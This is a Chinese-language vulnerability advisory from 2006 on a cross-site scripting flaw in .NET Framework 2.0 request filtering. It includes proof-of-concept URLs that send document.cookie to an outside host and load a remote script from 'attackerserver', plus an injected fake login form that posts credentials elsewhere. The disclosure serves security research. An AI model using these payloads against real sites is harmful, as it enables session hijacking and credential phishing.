发布日期：2006-10-26
更新日期：2006-10-31

受影响系统：

Microsoft .NET Framework 2.0

描述：

---

BUGTRAQ  ID: 20753

Microsoft .NET Framework是一个流行的软件开发工具包。

.NET Framework在处理内嵌请求时存在漏洞，攻击者可能利用此漏洞注入脚本代码执行。

.NET Framework没有正确的过滤内嵌的.NET请求，允许攻击者执行跨站脚本攻击。如果Web应用在向浏览器回显输入前仅仅依赖于.NET请求过滤的话，攻击者就可能通过特制的请求注入脚本代码。

<*来源：Procheckup Ltd （webmaster@procheckup.com）
  
  链接：http://marc.theaimsgroup.com/?l=bugtraq&m=116199195706737&w=2
        http://marc.info/?l=bugtraq&m=117578939329020&w=2
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

http://target/vuln-search.aspx?term=</XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))>
http://target/vuln-search.aspx?term=</XSS/*-*/STYLE=xss:e/**/xpression(window.location="http://www.procheckup.com")>
http://target/vuln-search.aspx?term=</XSS/*-*/STYLE=xss:e/**/xpression(window.location="http://www.procheckup.com/cookiemonster.php?sid="%2bdocument.cookie)>
http://target/vuln-search.aspx?term=</XSS/*-*/STYLE=xss:expression(myScript=document.body.appendChild(document.createElement("script")))></XSS/*-*/STYLE=xss:expression(myScript.setAttribute("src","http://attackerserver/xss.js"))>

这里xss.js包含有可覆盖整个文档HTML体的代码段，如：

document.body.innerHTML = '<b>since we can now insert brakets without having to escape the request filtering, we\'re free to insert any HTML tags</b></br><formname="myform" action="http://www.procheckup.com"><input type="text name="login"><br/><input type="password" name="password"></br><input type="submit"value="Login"></form>';myform.login.focus();

建议：

---

厂商补丁：

Microsoft
---------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.microsoft.com/technet/security/

浏览次数：4104
严重程度：0（网友投票）